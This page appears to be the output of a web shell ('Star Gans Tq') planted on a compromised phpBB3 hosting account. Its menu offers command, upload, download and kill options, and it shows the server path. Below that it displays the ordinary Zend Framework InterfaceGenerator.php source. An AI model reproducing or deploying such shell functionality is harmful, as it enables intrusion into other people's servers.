.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/www/phpBB3/vendor/zendframework/zend-code/src/Generator/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/www/phpBB3/vendor/zendframework/zend-code/src/Generator/InterfaceGenerator.php

    <?php
    /**
     * Zend Framework (http://framework.zend.com/)
     *
     * @link      http://github.com/zendframework/zf2 for the canonical source repository
     * @copyright Copyright (c) 2005-2016 Zend Technologies USA Inc. (http://www.zend.com)
     * @license   http://framework.zend.com/license/new-bsd New BSD License
     */
    
    namespace Zend\Code\Generator;
    
    use Zend\Code\Reflection\ClassReflection;
    
    use function sprintf;
    use function str_replace;
    use function strtolower;
    
    class InterfaceGenerator extends ClassGenerator
    {
        const OBJECT_TYPE = 'interface';
        const IMPLEMENTS_KEYWORD = 'extends';
    
        /**
         * Build a Code Generation Php Object from a Class Reflection
         *
         * @param  ClassReflection $classReflection
         * @return InterfaceGenerator
         */
        public static function fromReflection(ClassReflection $classReflection)
        {
            if (! $classReflection->isInterface()) {
                throw new Exception\InvalidArgumentException(sprintf(
                    'Class %s is not a interface',
                    $classReflection->getName()
                ));
            }
    
            // class generator
            $cg      = new static($classReflection->getName());
            $methods = [];
    
            $cg->setSourceContent($cg->getSourceContent());
            $cg->setSourceDirty(false);
    
            if ($classReflection->getDocComment() != '') {
                $cg->setDocBlock(DocBlockGenerator::fromReflection($classReflection->getDocBlock()));
            }
    
            // set the namespace
            if ($classReflection->inNamespace()) {
                $cg->setNamespaceName($classReflection->getNamespaceName());
            }
    
            foreach ($classReflection->getMethods() as $reflectionMethod) {
                $className = $cg->getNamespaceName()
                    ? $cg->getNamespaceName() . '\\' . $cg->getName()
                    : $cg->getName();
    
                if ($reflectionMethod->getDeclaringClass()->getName() == $className) {
                    $methods[] = MethodGenerator::fromReflection($reflectionMethod);
                }
            }
    
            foreach ($classReflection->getConstants() as $name => $value) {
                $cg->addConstant($name, $value);
            }
    
            $cg->addMethods($methods);
    
            return $cg;
        }
    
        /**
         * Generate from array
         *
         * @configkey name           string        [required] Class Name
         * @configkey filegenerator  FileGenerator File generator that holds this class
         * @configkey namespacename  string        The namespace for this class
         * @configkey docblock       string        The docblock information
         * @configkey constants
         * @configkey methods
         *
         * @throws Exception\InvalidArgumentException
         * @param  array $array
         * @return InterfaceGenerator
         */
        public static function fromArray(array $array)
        {
            if (! isset($array['name'])) {
                throw new Exception\InvalidArgumentException(
                    'Class generator requires that a name is provided for this object'
                );
            }
    
            $cg = new static($array['name']);
            foreach ($array as $name => $value) {
                // normalize key
                switch (strtolower(str_replace(['.', '-', '_'], '', $name))) {
                    case 'containingfile':
                        $cg->setContainingFileGenerator($value);
                        break;
                    case 'namespacename':
                        $cg->setNamespaceName($value);
                        break;
                    case 'docblock':
                        $docBlock = $value instanceof DocBlockGenerator ? $value : DocBlockGenerator::fromArray($value);
                        $cg->setDocBlock($docBlock);
                        break;
                    case 'methods':
                        $cg->addMethods($value);
                        break;
                    case 'constants':
                        $cg->addConstants($value);
                        break;
                }
            }
    
            return $cg;
        }
    
        /**
         * {@inheritDoc}
         */
        public function addPropertyFromGenerator(PropertyGenerator $property)
        {
            return $this;
        }
    
        /**
         * {@inheritDoc}
         */
        public function addMethodFromGenerator(MethodGenerator $method)
        {
            $method->setInterface(true);
    
            return parent::addMethodFromGenerator($method);
        }
    
        /**
         * {@inheritDoc}
         */
        public function setExtendedClass($extendedClass)
        {
            return $this;
        }
    
        /**
         * {@inheritDoc}
         */
        public function setAbstract($isAbstract)
        {
            return $this;
        }
    }